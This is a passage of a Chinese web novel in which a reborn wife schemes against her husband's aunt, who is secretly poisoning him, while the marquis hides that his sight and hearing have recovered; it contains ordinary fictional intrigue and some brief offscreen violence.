两个男人的脸已经气成了猪肝色,撸起袖子,朝她放了句狠话:“你给老子等着!一会就轮到你了!”
继而转身骂骂咧咧走回屋内:“哪个**的敢敲你爷爷的门!”
随着他们离开窗台,声音便远了。
清秋大口呼吸缓和紧张:“吓死我了,万万没想到夫人这般温婉好脾气的人会为了维护侯爷,敢和这种地痞流氓说话!”
雪燕连声附和:“是啊,幸亏这两人的仇家找上来了,平日里定没少作恶多端!”
这时隔壁包间传来了打砸的声音,接着便是惨叫连连。
清秋瑟缩了下,忙挽住了江元音的手,急声劝道:“此地不宜久留,夫人,我们快些走吧!”
雪燕认可地点头,“夫人快走,当心伤着。”
江元音一时没动,直到辨认出那惨叫声来自刚刚那两个男人,才迈开了步子。
主仆三人结账离开了包间,惨叫声已经停了,江元音特意往那两人的包间望去,可惜包间门紧闭,看不到那两人惨状,她颇有些失望。
而雪燕和清秋都是胆子小的,一眼没敢瞅,生怕见着什么残暴血腥的画面。
而另一包间,齐司延面无表情地坐着,纤长的手指摩擦着茶杯,墨眸似倒映着茶水,有些光影闪烁。
包间的窗户是开着的,外边的动静随之飘入屋内。
刚刚江元音和那两人的话,他都听见了。
他脑海里响起了很多曲休的话。
——“夫人待侯爷似是真心实意,关怀备至。”
——“夫人对您已是情根深种,夫人深情感慨,能嫁给侯爷这样的如意郎君,是她人生一大幸事。”
他脑海里浮现她潋滟的眸光,和她轻柔嗓音说的那句“风光霁月完美无缺的定宁侯”,心口涌动着莫名的情绪。
曲休说得属实,她心悦他。
……或许,她真的不是第二个江云裳。
曲休去而复返,俯身禀告:“侯爷,都割舌解决了。”
“嗯。”
下一瞬,有人推门而入,曲休反应极快地合上了包间门。
来人身材魁梧,满脸络腮胡子,一双眼却隐约可见泪花,大步流星迈进来,朝着齐司延扑通一声跪下,宏厚的嗓音因为激动而发颤,“若无先侯不离不弃,末将早就死在虎峡谷了!这份恩情末将永记铭心,没齿难忘!”
齐司延眉目间是一切皆在掌控中的自得,朝关啸伸手,“关将军一直是父亲最得力的部下,且先起来说话。”
关啸匍匐在地,虔诚地磕了个头,方才抬首看向齐司延,信誓旦旦道:“末将愿誓死追随侯爷,万死不辞!”
江元音主仆三人离开遇仙楼后,没急着回侯府,而是在西街的点心铺子买了些糕点。
再和车夫会合时,车夫脸上有掩饰不住的着急与抱怨:“夫人看个房怎地一去不复返了,急得小的差点要去报官了,这要有个好歹万一,小的十条命也不够赔啊!”
江元音好脾气地解释道:“天子脚下自然太平无险,你无需担忧,只是初次出府不识路,小逛了下。”
她作势上马车,不再与之多言,“好了,我有些乏了,回府吧。”
江元音回到侯府已是申时正点,她没有直接回青松院,而是去了静怡轩。
陆氏和齐婧涵就在前院,正在说嫁妆的事,瞅见江元音来了,更是来了无名火,脸色不耐。
江元音福身行礼:“二叔母”,继而看向齐婧涵,好似全然感受不到齐婧涵的不友好一般,浅笑主动唤道:“婧涵妹妹。”
齐婧涵翻了个白眼,侧身朝着陆氏站着,故意不正眼瞧江元音一眼。
商贾之女果然粗鄙,俗不可耐,眼里只有那点破钱!
但凡有格局有眼力见一点,就该主动拿出自己的嫁妆来贴补侯府,让她风风光光嫁给子枫哥哥!
等她嫁入国公府,还能拉拔一把她阿兄,侯府才能欣欣向荣!
陆氏端着架子,高仰下巴,高高在上道:“何事?”
“我今日出府找房牙看了府邸,顺便在市
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集小逛了下,买了些糕点,”江元音说着从雪燕手中接过糕点,双手递过去,“送与二叔母、婧涵妹妹尝尝。”
齐婧涵扫了眼糕点包装,嗤笑出声:“西街的糕点?那等卖给平民吃的玩意,你买回来作甚?你是觉得我和母亲平日里没吃过精致的糕点吗?这种糕点你也送得出手?你羞辱谁呢?”
江元音低眼,张了张唇,一派温吞模样,“婧涵妹妹误会了,我只是自己尝了,觉得味道不错,才想买回来……”
“行了,”陆氏不耐打断,压根没看糕点一眼,“你既喜欢吃便留着自己吃吧。”
江元音将糕点收回:“是。”
陆氏冷着脸问:“你一大早出去这时才回?”
江元音颔首:“初逛皇城只觉事事新鲜,是以多待了一阵。”
陆氏斥责道:“承蒙圣宠,我齐家在汴京有头有脸,你便是再没见过世面,也莫在人前显露出来,被人看到丢的是我侯府的颜面。”
“侄媳明白,二叔母教训的是。”
陆氏摆摆手,“退下吧。”
江元音应声退下,刚走了数步又被唤住。
她驻足转身,恭顺静候。
陆氏突兀地问:“司延夜里仍未回主屋歇息?”
江元音点头。
陆氏再次摆手,这回看着江元音离开的背影,她眼里多了抹了算计,新的计划浮上心头。
江元音离开静怡轩,轻松自在地往青松院走。
她压根不在意陆氏一家,眼巴巴地去送糕点自然不是为了讨好,她在陆氏面前的所言所行都是她精心设计过的。
这份她们瞧不上的糕点,可是在为她之后出府做铺垫。
不过陆氏忽然提到齐司延晚上回主屋的事情,是在打什么主意呢?
她一时没有头绪,索性不再纠结,打算直接去见齐司延。
自从上回误打误撞用了他的药浴而**,她“养病”几日,没去见他。
有了先前遇仙楼那遭,她愈发想去见见他。
他这么多年大门不出二门不迈,和她前世被李承烨囚禁没有区别,都是被迫困在一方小小的天地里。
她想去陪陪他,再顺便确认一些事情。
第36章 互相试探
快到晚饭的点,江元音准备去陪齐司延用晚餐。
陆氏八成是看情况在他的药膳中下毒而非顿顿皆下,否则他也活不到今日。
与其寻个由头停了他的药膳,引起陆氏的怀疑,又要提防其新的**手段,不如日后她顿顿陪着他吃,悄无声息地换上给他解毒的药。
把他的身体养好比现在告知他一直是陆氏**害他来得有说服力的多。
毕竟以他目前的身体与侯府的现状,就算他愿意相信她,也一不定能收拾的了陆氏一家。
然而无论是书房还是起居室,都没有齐司延的身影。
甚至,她连曲休都没有看见。
小厮回道:“今日暂未得侯爷传唤,小的也不知侯爷在何处。”
齐司延的确不喜人近身侍候,每每见他时,身边都只有曲休一人。
江元音不再为难小厮,但有些惊讶。
他今日出门了?
他平日里不是都不在院内走动吗?
她觉得有些奇怪便又去问了看守院门的丫鬟。
自从遣散了王嬷的等人,看守院门的人便换成了她陪嫁的仆妇,都是信得过的。
江元音问:“侯爷今日出院了?”
丫鬟摇头:“回夫人,侯爷今日未曾出院。”
“你确定?”
丫鬟连连点头:“奴婢一整日都候在这,绝对没有**,夫人交给奴婢的活,奴婢不敢怠慢,”顿了顿,又重声强调了遍:“夫人,奴婢今日连侯爷的衣角都未曾看到啊。”
江元音若有所思。
难不成他只是不想见她?
就像之前她去陪他用膳也是吃过几次闭门羹的。
不过他们一起吃饭的记忆并不美好,他的药膳全撒了,她的嗓子快要喊废。
也幸好都洒了,指不定那份药膳里有毒呢。
寻不到人,江元音只好作罢,她今日出府折腾了一日,也有些疲累,正好早些休息。
一夜好眠,江元音例行请了早安后,便去寻齐司延用早餐。
雪燕叩了叩房门,江元音出声道:“侯爷可起了?”
片刻后,曲休打开了房门,俯身回道:“侯爷刚洗漱完,夫人这个点前来,可是有要事?”
“承蒙侯爷送我静息丸,我身子大好,不用忧心渡了病气给侯爷,特来道谢,”江元音不着痕迹地往房里看了看,“不知侯爷是否愿意与我共进早餐?”
曲休这回没有婉拒,没有让她等一等转身去问齐司延,而是侧身让路,“侯爷正要用餐,夫人里面请。”
江元音入了屋,齐司延的确已经坐在桌旁。
她施施然走过去,放弃了凑到他眼前,为了让他看清楚而快要贴面的距离,俯身凑近他耳畔,道:“妾身见过侯爷。”
她体验过快要失明,万物模糊的感觉,与其费劲让他看清楚她,不如让他“闻声识人”。
耳廓因为她的吐息而阵阵酥麻,齐司延隐忍淡定地轻“嗯”了声,双眸依旧涣散,问道:“夫人怎么来了?”
“谢谢侯爷的静息丸,我身子好全了,特来侍候侯爷用早餐。”
她温热的呼吸不住洒在他最为敏感的耳廓,让他手臂不受控地起了层疙瘩,“……坐吧。”
放过他的耳朵。
江元音应声,伸手将另一方位的椅子扯过来,紧挨着他的椅子放着,两人并排而坐,她手肘撑在他椅子扶手,倾身仰头贴靠近他的耳朵,“这般坐方便同侯爷说话,更方便侍候侯爷用餐。”
她可不想再扯着嗓子喊话。
江元音对齐司延没存半点旖旎的心思,纯粹是因为当年她听力甚微时,贴身的宫女亦是这般,凑在她耳畔同她言语。
她心思敞亮,浑然不知两人此刻的姿态有多暧昧。
先前她俯身贴耳,只是唇离他耳朵近了,现在这般坐姿,倒像是整个人依偎着他的手臂,仰头同他亲热。
齐司延的手臂能清楚感受到她的上半身,隔着衣料的摩擦比直接接触更引人遐想。
那衣料下的身……够了。
她在故意
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撩拨他?
他倏地侧头转动身子,与她面对面,敏感的耳朵与她拉开距离。
江元音没料到他会转头,红唇差点吻上他的下巴。
骤然四目相对,她直直望着他墨色的双眸,一瞬不眨。
是错觉吗?
他目光炯炯,全然没有半点涣散无神的样子。
齐司延身子微僵,盯着她潋滟的杏眸,那里面有惊讶有困惑有打量有好奇,唯独没有娇羞。
……她好似真的只是为了他能听清她说话,没有半点撩拨之意。
……是他想多了。
他心情微妙起来,懊恼中又糅杂着隐秘的不悦。
江元音心里有几分怪异,探寻地扬声问:“侯爷眼力是不是恢复些了?”
齐司延掀了掀眼皮,又是一副努力聚焦看清她的样子,含糊地回:“静息丸却有奇效。”
江元音认可颔首,顺势问道:“是呢,我昨日便好全了,傍晚来寻侯爷却扑了空,侯爷昨日出院了?”
“不曾,”齐司延淡声回道:“昨日身子不适,早早躺下了。”
他不慌不忙地反问:“夫人昨日没来我房中吧?若只是敲了敲门,我这耳朵是半点听不到的。”
“未得侯爷允许,妾身不敢随意出入侯爷房间,”江元音侧头看向一旁静候的曲休,问道:“你昨日没留在侯爷身边侍候?”
齐司延耳朵不好,但曲休不该没反应吧?
曲休回道:“在的,只是傍晚时候去吃了个饭,许是不凑巧,和夫人错开了。”
不待江元音继续追问,齐司延先开了口:“听闻昨日夫人出了府,不知是忙什么去了?”
面对面的姿势,离开了他的耳朵,她只能扬声回道:“我病前收了封家书,家人不日要抵京,是以出府去看宅子府邸去了。”
齐司延轻“嗯”了声,意味深长地问:“只为了这个?”
江元音点头,“只为了这个。”
齐司的墨眸瞬间犹如永夜般沉寂。
……她撒谎。
第37章 吻到她娇软的唇
齐司延沉默,平静的面色下是翻涌着情绪的波澜。
她为何要隐瞒她去见了药材行行主的事情?
回忆起昨日遇仙楼的种种,他到底没有戳穿她,缓声道:“你初到汴京,人生地不熟,这事该交给侯府来办。”
江元音觉得这是个不错的试探他同陆氏关系的好机会,她仰头望着齐司延,睫毛轻颤,“我本想同二叔母商议,可二叔母说……”
她抿唇停住,眸光闪烁。
为了能让他看清楚自己的表情,江元音和齐司延不过一拳的距离。
他因此可以眼眸聚焦地同她交谈,他将她欲言又止的纠结尽收眼底,问:“她说什么?”
“二叔母说……”江元音嘴唇翕合,“我是不是想拖家带口嫁入侯府,说我江家自诩江南首富却买不起汴京的宅子,还说……江家的事与齐家无关。”
她的脸红红白白,有坦诚的窘迫也有委屈。
她低头,一副想掩饰伤心的样子,唯恐齐司延听不清,大声道:“可我从没有过让侯府给江家买宅子的念头……”
齐司延低眼只能看到她精致鼻梁,他眼里隐有寒光。
他知道她所言都是真的,他眼前甚至清晰地浮现出陆氏说这些话的神态。
一定是令人作恶的高高在上。
“曲休,”齐司延沉声吩咐,“在东街挑……”
“多谢侯爷好意,”江元音出声制止,抬头望向齐司延,“可我昨日已为家人挑好了宅子,二叔母已是误会了我,侯爷切不可再为了我同二叔母生了嫌隙。”
东街?
江家人可不配住在东街。
后半句则是特意试探齐司延对陆氏的态度。
可齐司延只是静默地望着江元音的眉眼,似是要看透她一般。
他这般反应令江元音有些无法言说的失望,想来他同陆氏还是有感情的。
真是个笨蛋可怜虫,一片真心喂了那狼心狗肺的一家,上辈子怕是到死还不知道真相,没准心里还感激他们一家对他的照料。
一如她上辈子的她。
思及此,她真情实感而不是想表演给他看的叹了口气,没有夸张的表情动作,非常轻柔的一声。
这一声却好似叹在了齐司延的心口,他薄唇张了张,道:“日后这些事,你直接来与我商议便好。”
“这些事?”
“嗯,与你相关的事,”齐司延与她对视,他声音沉了沉,意有所指地提醒,“你有任何难处、要求亦或是旁的什么想法打算皆可来找我商议。”
他在给她机会坦白昨日为何要去见药材行行主。
江元音顺着他的话继续试探问道:“可二叔母说,侯府的一切由她做主,我需事事听她吩咐安排。”
若当真揭开陆氏的蛇蝎面貌,他可会收拾陆氏,可有能力收拾陆氏?
齐司延神色没甚起伏,“与你相关的事便是家事,你我的家事与她无关。”
江元音怔怔望着他那双只有如此近的距离,才会聚焦有神的眼。
他声线清冷,嗓音一直是悦耳好听的,可直到这一刻,她方觉得动人。
她品味着“家事”两个字,早就沉寂的心,猛不丁地跳动了下。
客观来说,他们都没有家人。
但现在,他们可以是彼此的家人。
江元音莞尔,点了点头,“妾身明白了。”
齐司延看着她,还在等她坦白隐瞒的事,可她却没有后话了。
他心底涌上些烦躁,但见她笑得实在明媚,又莫名了消散了。
……不说也罢,他自能查出来。
此时早餐已摆放好。
回想起上一次两人一同吃饭,齐司延看不清打翻桌上的菜,她端着的汤也被他打翻,最后那顿晚饭,她快要喊废嗓子,而他一口没吃。
这回江元音吸取了教训,早早端起了碗筷,递到他唇边。
这份早餐是清秋做的,绝对无毒。
全场最紧张的人莫过于曲休,他目不转睛地盯着齐司延,随时准备上前阻拦。
约莫从半年前开始,侯爷在饮食上非常注意,尤其是在府中时,几乎不会吃旁人递来的食物。
然而下一秒,在江元音贴在其耳边细声介绍着筷子夹着的食物后,齐司延张唇,接受了喂食。
曲休:……?!
就这样
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江元音将准备的早餐,每一道都喂给齐司延尝了一口,在他咀嚼时,认真观察着他的表情,记着他吃哪一道时神色最为舒展,便重新端起那道菜。
一番操作下来,她心里有了答案。
他没有食不知味,尚未失去味觉。
这个毒会让人慢慢丧失五感,成为废人,但并不会让人四肢残废。
其实她前世在**正耀刺穿腿后,也成了不利索的瘸子,但和**无关。
那齐司延的双腿是怎么“废掉”的?
是陆氏给他下的毒与她的并不是一种,还是多加了一味毒?
江元音沉思的模样落在齐司延眼里,那便是在绞尽脑汁地讨他欢心。
他心道她天真,他不吃这一套,可吞咽的动作却越发配合。
……今日的早餐的确不错。
江元音思索了一番,凑到他耳畔,状似闲聊一般地开口问道:“我染上风寒这几日,侯爷可有药浴?”
“未曾。”
“噢,”她好似突然想到了什么似的,嘀咕道:“说起药浴我忽地想起,上次享用了侯爷的药浴,夜里怎么都睡不安稳,浑身好似有虫蚁爬咬,这症状怎么都不似跟风寒有关,会不会是同是药浴有关呢?”
江元音接着问:“侯爷定期药浴,不知可有相同的症状?”
齐司延淡声:“偶有。”
江元音了然,如她所料,陆氏并非次次都有在他的药浴、药膳中动手脚。
他有过虫蚁爬咬的症状,那与她前世所中的毒是一样的,这个她有法子解毒。
至于他的腿……只能慢慢摸索了。
江元音不能直接挑明陆氏下毒,委婉提醒道:“会不会是某些药材其实不适合用来药浴?”
齐司延侧头看她,无声询问。
“我只是忧心侯爷的身体,”江元音仰头凑近,想让他看清楚自己脸上的真挚,劝道:“侯爷既有静息丸那等妙药,不如先停了药浴?”
她凑得极尽,两人呼吸相闻,近到他只需稍稍垂首,便能吻到她娇软的唇。
他低眼,墨眸不经意扫过那一抹淡红,鬼使神差地应声:“……好。”
第38章 谁治谁还不一定
次日,江元音吩咐清秋出府,买下了西街那套宅子,做好“迎接”江家人抵京的准备,又让她去驿站送了封信,寄给江南十二家药铺的话事人。
接下来的日子,她一边等邓立齐集她需要的药材,一边按时按点地去寻齐司延吃饭。
当然也会有扑空被拒的时候,但好在没有了王嬷等人,陆氏近来都在忙着给女儿齐婧涵备嫁,分不出精力来对齐司延下手。
转眼,又是七日。
午后,江元音小憩时,听到守院门的丫鬟来报:“夫人,叔祖母来了!”
江元音瞬间清醒,翻身坐起,“二叔母到后院了?”
她冷静吩咐:“领二叔母去前厅,我随后便来,”继而看向雪燕、清秋,“为我更衣。”
她嫁入侯府将近一月,这是陆氏第一次来青松院。
无事不登三宝殿,陆氏难道是为了齐婧涵出嫁,冲着她嫁妆来了?
无妨,她做了准备,有法子应对。
雪燕和清秋为江元音更衣,禀告的丫鬟却没走,而是继续禀告道:“夫人,叔祖母没往主屋后院这边来,而是径直往侯爷起居室那边去了。”
江元音秀眉微拧。
陆氏竟不是冲她来的,而是冲齐司延?
难不成上次药浴**失败,这些时日无从下手,便又想出什么阴损的招来了?
总之,绝不可能是来关怀齐司延的。
陆氏来找齐司延比来找她更让江元音担忧,她催促雪燕、清秋动作快些,接着问丫鬟:“二叔母可有说什么?”
丫鬟摇头,“叔祖母是领着维航少爷来的,维航少爷正是闹腾的年纪,叔祖母没说什么,只是牵着维航少爷往侯爷那边去了,奴婢不敢耽搁,立即来知会夫人了。”
维航少爷?
江元音在脑海里搜索了下,想起这是陆氏长子齐明宏的儿子,即陆氏四岁的嫡长孙。
她每日按时给陆氏请安,其余时候是不出青松院的,对齐维航有耳闻,但还未见过。
只知,那是陆氏一家的宝贝疙瘩。
江元音尚没有头绪,却也不慌。
陆氏到底意欲何为,她前去会会便知。
齐文台没甚能耐,陆氏却是个好摆谱的,鸠占鹊巢十多年,俨然把自己当成侯府“主母”,平日里吃穿用度甚是铺张浪费,一走动,身边随行的嬷嬷、丫鬟加起来竟有六人,这回带了齐维航,加上其奶娘、嬷嬷,更是声势浩大,动静不小。
江元音根本无需去找寻,迈到齐司延起居室那片区域,隐隐约约便能听到人声。
她循着声源处走去,发现陆氏和齐维航没去齐司延的书房,而是去了储物室。
青松院曾是齐司延父母的居所,那储物室里存放着的都是其父母的遗物。
未得允许,任何人不得进出。
听着耳畔小孩的尖锐的声音,江元音的心一沉,快步迈过去。
储物室的门大开,嬷嬷丫鬟站了一屋子,齐维航站在屋中央,抬手指着陈列架,稚嫩的嗓音跋扈地叫唤:“我要那个,我就要那个!”
江元音沉脸。
有那么一瞬,她仿佛看到了年幼的江正耀。
同样的众星捧月,同样的任性霸道。
江元音顺着他手指的方向看去,上好的梨木架上,高高摆放着一把剑。
她站在门口尚看不清那把剑的细节,可它被摆放在屋内最正端的位置,足以证明齐司延有多珍重。
江元音抬步迈进去,朝陆氏福身行礼,“见过二叔母。”
她恭顺地问:“不知二叔母这个点怎会过来?可是有事吩咐侄媳?”
陆氏轻瞥她一眼,傲慢道:“的确有事要与你……”
“祖母——!”没达到目的,不忍被忽视的齐维航出声打断,拉拽着陆氏的手,不住摇晃,继续嚷嚷:“我要那个!祖母,我要那个!”
江元音扬唇,含笑望着齐维航,温声道:“你便是……”
齐维航根本不给她说话的机会,更大声的嚎叫:“祖母不是说我想要什么都可以吗?祖母骗人,祖母不给我!”
“好好好,我的小祖宗诶,真是拿你没办法,”陆氏宠溺地摸了把齐维航的脸,示意身边的邓嬷去取剑。
江元音眼底一片冰冷,出声制止:“二叔母,万万不可!”
陆氏冷脸。
江元音放缓了语气,“维航年幼,尚不足剑身高,二叔母若将
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利剑交予他把玩,怕是会误伤他。”
“你这是在咒我孙儿?”陆氏满脸愠色,“维航已到习武的年龄,给他请的师父过几日便要到府,我领他来兄嫂的武器室选个称手的武器,有何不可?”
她说着,洋洋自得地讽刺道:“这玄霜剑可是随司延父亲出生入死征战沙场,立下屡屡战功的宝剑,可惜司延无法持剑,难承其父壮志,万幸我齐家还有被大师夸赞底子极好的维航,才不会埋没了这玄霜宝剑。”
江元音:……
这样来头的玄霜剑,对齐司延而言一定意义非凡!
真是无耻之徒,强占他人遗物,不仅说得冠冕堂皇,还要贬低挖苦,嘲讽齐司延无法持剑。
可他现下这般,不正是她害的吗?!
江元音强忍心头的愤怒,张嘴先附和夸赞道:“难怪我一见维航便觉得他气质不凡,定是天赋异禀,将来要青云直上、大展宏图之辈。”
这话陆氏听得舒坦,眉眼里的得意愈发浓厚。
“只是……”江元音话锋一转,一脸为难道:“父亲、母亲的遗物,件件都是侯爷的心头爱,是父亲、母亲留给侯爷的念想,以二叔母的能耐定能为维航寻到更适合称手的宝剑。”
江元音字字句句都在捧着陆氏,看似伏小做低,却是温柔一刀。
陆氏脸色一变,斥责道:“这玄霜剑是齐家的东西,自然是留给齐家人用,司延都未说话,哪轮到你来干预?”
江元音不恼,眨了眨,真诚地认可发问:“二叔母所言极是,二叔母要取这玄霜剑,可问过侯爷了?”
“放肆——你在教我做事?!”
“侄媳不敢,”江元音吸吸鼻子,诚惶诚恐地俯身,“侄媳只是怕侯爷伤心,更怕侯爷追责怪到侄媳头上,还请二叔母不要为难侄媳。”
“司延对家人素来大度,对维航疼爱得紧,不似你这般小肚鸡肠,”陆氏下巴微仰,“我先不与你计较,我今日过来本就是要同他说事,待把事情谈妥了,再来治你。”
语罢,说曹操曹操到,曲休推着齐司延的轮椅,出现在门口。
江元音勾唇冷笑。
谁治谁还不一定呢。
第39章 夫妇默契联手
齐司延双目涣散望向屋内,“谁?”
曲休高声回道:“回侯爷,是夫人、叔祖母和维航少爷!”
齐司延神色淡淡,道:“二叔母是想念我父母了,来这睹物思人?”
陆氏冲着齐司延笑了笑,道:“你身体可好些了?”
齐司延漠然直视前方,毫无反应。
满屋奴仆不敢随意出声,邓嬷人已在梨木陈列架旁,还在等陆氏的指示再动手。
江元音安静看戏。
满屋子只有眼巴巴看着玄霜剑,喋喋不休催促邓嬷的齐维航的声音。
陆氏维持着笑脸,又道:“司延,叔母有事想同你商量。”
齐司延依旧没有反应。
在侯府,陆氏早就习惯被所有人捧着,此刻被齐司延当着满屋子人无视,她既尴尬更不爽,脸上的笑容也僵了几分,深呼吸后说道:“司延,我同你说话,你听到了吗?”
齐司延面无表情。
看够了陆氏的尴尬,江元音状似好心地开口解释:“二叔母现下这般说话,侯爷是听不到的,侯爷如今耳力甚微,便是站在他身边,都得高声大喊才行。”
她很是诚恳地提醒,“二叔母,不妨再大声一些?”
喊吧,喊废喉咙。
在齐司延双腿“废”了,几乎不迈出青松院后,陆氏和他一年难见几回。
虽然早就从下人口中得知他已是耳目不聪,但毕竟没有面对面的交流过。
这一刻才有真切感,眼神越发轻蔑。
刚出生时被称作“麒麟儿”的人,现在也不过是废人一个。
很快他的一切,都会是她宝贝孙儿的。
陆氏不愿扯着嗓子同齐司延说话,是以望向曲休,吩咐道:“替我传话。”
“是,叔祖母。”
陆氏:“我今日过来是想同你商量两件事,这第一件事是维航马上要习武,需要一件称手的武器,他挑中了你父亲的玄霜剑,这把剑从前随你父亲杀敌无数,维航能一眼相中它亦是冥冥之中的天意,你父亲未能实现的壮志,他日维航肯定能实现,想必你也很乐意将玄霜剑赠与他。”
语罢她侧目扫了江元音一眼,大有让其好好听听齐司延的回答。
日后再别这么没眼力见,敢搬出齐司延拦阻她。
江元音低眼,遮住眸中的冷意。
这般理直气壮的抢东西,真不敢想齐司延是怎么被她一家欺负长大的。
曲休声音洪亮地转述一遍。
齐司延神色一凛,冷声道:“曲休,你竟敢大放厥词,如此编排构陷二叔母,是在欺我耳目不聪?!”
曲休慌乱,高声喊冤:“曲休冤枉,曲休只是转述叔祖母的话啊!”
“荒唐——!”齐司延扬声,愠怒道:“玄霜剑乃我父亲留给我的遗物,二叔母怜我双亲早逝,最懂得这满屋的东西于我而言有多重要,怎可能说出让我将玄霜剑赠与维航这样离谱歹毒的话?”
曲休目光不住在陆氏同齐司延之间来回,一副欲哭无泪的模样。
齐司延接着道:“自父母离世后,二叔母视我如己出的照顾我,我决不允许任何人泼她脏水,坏她名声。我念你初犯,又侍候我多年,此次便算了,若有下次,绝不轻饶。”
陆氏的表情相当精彩。
齐司延看似在维护她,可句句都像响亮的巴掌,打在她的脸上,尤其她之前那般笃定跟江元音说,他肯定会给。
她憋着一口,吐不出又咽不下。
他给她戴了顶高帽,她再提要那把玄霜剑就是认了“离谱歹毒”。
江元音将陆氏的神色尽收眼底,心情复杂。
看陆氏吃瘪自然是爽快的,只是齐司延的反应让她心绪微妙。
他是故意演戏对付陆氏,还是真这般想?
曲休大声解释道:“侯爷,当真是叔祖母说的,曲休便是有九个脑袋也不敢编排叔祖母,欺瞒侯爷啊,何况叔祖母此刻就在侯爷面前呢!”
“一派胡言,我为何没听到二叔母的声音?”
曲休看向陆氏,为难道:“不如叔祖母来侯爷身边,大声些再说一遍?”
不待陆氏反应,齐司延又沉声道:“莫不是你打起了玄霜剑的主意?曲休,若玄霜剑有任何差池,我唯你是问!”
曲休求助望着陆氏,满脸都写着:您说句话啊。
陆氏胸膛
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起伏,气得说不出话来。
不管齐司延是真心还是假意,江元音都觉得这是一出好戏,和她平日里对付陆氏的法子,倒是不谋而合。
示弱把人架着的戏,她亦演得得心应手。
“曲休,”江元音忍着笑意,适时出声道:“侯爷都说了,二叔母对他视如己出,二叔母疼他定不会夺侯爷所爱,你莫再为难二叔母了。”
最终曲休一人抗下所有,俯身应道:“是,夫人。”
江元音又看向陆氏,想彻底结束玄霜剑的话题,断了陆氏的念想,问道:“二叔母要商议的第二件事是什么?”
话说到这个份上,陆氏自然不好再开口要玄霜剑,再不甘心也只能咽下这口气,在心里劝慰自己。
反正第二件事才是她今日过来的重点。
只要谈妥了,别说玄霜剑,齐司延的一切都会是她宝贝嫡孙的。
思及此,陆氏神色有所缓和,转头边寻齐维航边道:“这第二件事是我想将维航……维航!”
一转头才发现,在他们谈话间,四岁的齐维航竟已爬到了梨木桌上,小身影摇摇欲坠地去够陈列架上的玄霜剑。
哼,没人理他,他可以自拿!
陆氏惊呼出声,反而吓了齐维航一大跳。
他脚一滑,身子往后倒,下意识试图抓紧陈列架,却带着陈列架一同往地面摔去。
“维航!”
“维航少爷!”
在一片混乱的尖叫声中,本在门口的曲休早在陆氏回首的那一瞬便“咻”地奔过去,在一片噼里啪啦的砸落声里,迅速准确地接住了跌落的玄霜剑。
于是陈列架毫无意外砸在了齐维航身上。
齐维航在架子下扑腾,开始撕心裂肺地嚎叫:“呜呜呜——好痛!好痛!”
陆氏和一群下人蜂拥而上,伸手去扶架子下的齐维航。
混乱的场面中,江元音的目光落在曲休身上,眉目里染上讶然。
他竟有这般了得的身手。
他完全能救下齐维航的,可他只护住了玄霜剑。
而门口轮椅上齐司延,像是置身事外的旁观者。
他勾了勾唇,笑容很轻。
第40章 夫妇一体,她可以替我决定
拨开陈列架,齐维航的脑袋已经被砸了个豁口,汩汩冒血。
陆氏慌慌张张地蹲在地上,小心翼翼地搂着他察看他的伤口,心疼地直叫唤:“维航,哎哟我的乖孙儿……”
她颤声唤了两句,猛地侧头看向曲休,厉声质问道:“你为何不护他?!”
曲休双手捧剑,回道:“事发突然,一时没能反应过来,叔祖母见谅。”
“什么叫做没有反应过来,你能接住玄霜剑却接不住我孙儿?!”
“侯爷说若玄霜剑有任何差池要拿我是问,我当下便只顾着玄霜剑了……”
“二叔母?”齐司延蓦地开口,“我好似听到了二叔母的声音,二叔母果真在这?”
陆氏气极噎住。
这回他又听见了?
曲休转身大步回到齐司延身边,双手将剑递给他,大声道:“玄霜剑没有任何差池,请侯爷查验!”
齐司延抱着剑,修长的手指轻轻摩擦着剑鞘,缓声道:“我耳目不聪,交谈费劲,二叔母若还有事可以直接找我夫人商议,我与她夫妇一体,她可替我决定。”
陆氏等人惊诧不已,怀疑自己的耳朵。
江元音听着这句“夫妇一体”,想起他先前那句“你我的家事,与她无关”,愈发有了底气。
齐司延茫然对着屋内,试探性地唤了声:“夫人?”
江元音向前两步,大声回应他:“我在!”
“夫人带二叔母去前厅商事吧,”齐司延清俊的脸上全是怅然若失,落寞道:“我想在这单独待一会。”
江元音未曾见过他这般神色,只道他一定是摸着剑,想起了父母。
她想护住他这一刻的思念与安宁,于是转身走至陆氏面前,关切道:“二叔母,维航的伤耽搁不得,有什么事等处理了维航的伤再说吧。”
万幸齐司延听不清、看不见,不知道屋内发生了什么。
不然陈列玄霜剑的陈列架倒了,定会心疼伤心。
看着满头是血的齐维航不住嚎哭,陆氏心口发紧,哪有心思再说事,心疼抱起他,“速去请郎中!”
江元音松了口气,一路“护送”陆氏等人离开了青松院。
就如在江家江正耀有点磕碰,全府紧张一般,齐维航被砸了头,那阵仗更是浩大。
江元音很快便如愿以偿的被挤到了人群边缘,无声无息地转身回了青松院。
她折返回到了储物室。
房门已合上,曲休候在门口。
看到去而复返的江元音,曲休讶然:“夫人就回来了?”
“二叔母现下无暇顾及我,”江元音问道:“侯爷还在屋里?”
“是。”
江元音吩咐雪燕、清秋候在原地,作势要推门,曲休伸手阻拦,“夫人,侯爷说想一个人待一会。”
“我知道,”江元音很坚持,“我进去陪陪他,不会有大的动静,不凑到他面前,他不会知道我在里面的。”
曲休被堵住,只好作罢。
江元音独自推门而入,曲休帮她关上了门。
没了陆氏等人,屋内空荡寂静。
齐司延就坐在屋中央的轮椅上,玄霜剑横置在他腿上,他一动不动,像一幅静默的水墨。
江元音目光没在他身上停留,而是落在那仍倒在地上的陈列架上。
她刚护送陆氏等人离开的时候,一步三回头,主意到曲休只是将齐司延推到屋内便立即出来了,猜测还未来得及收整这被齐维航攀落的陈列架。
果然。
江元音迈到陈列架旁,蹲身细细查看一番。
还好,陈列架结实,并未摔损,只是那砸到齐维航的边角,沾上了些许血迹。
她掏出帕子,认真擦拭。
擦着擦着总觉得有道视线落在自己后背,盯得她瘆得慌。
她下意识地回头看向齐司延,却见他还是那副双眸涣散的模样,便以为是自己的错觉。
擦拭完,她将陈列架放回原位,长舒一口气,开始环顾四周,欣赏屋中其他陈列。
除了玄霜剑,屋子里还摆放着长缨、弓箭、短刀以及**。
武器后有两套盔甲,看大小
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,当是齐司延父母的。
回想在遇仙楼的听的那场戏,她难免感慨。
齐腾夫妇铁骨铮铮、骁勇善战,真是可惜了。
她再回头看向齐司延,更能懂他此刻的落寞伤怀。
他父母一定曾对他寄予厚望,他此刻除了思念双亲,更多的一定是自责,怪自己无能吧。
江元音朝他笑了笑,知道正常的音量他听不到,便没甚顾忌地开口:“不是你的错,如果不是陆氏给你**,你一定是最意气风发的少将军。”
“你且等着,我一定能帮你解毒,你会好起来的。”
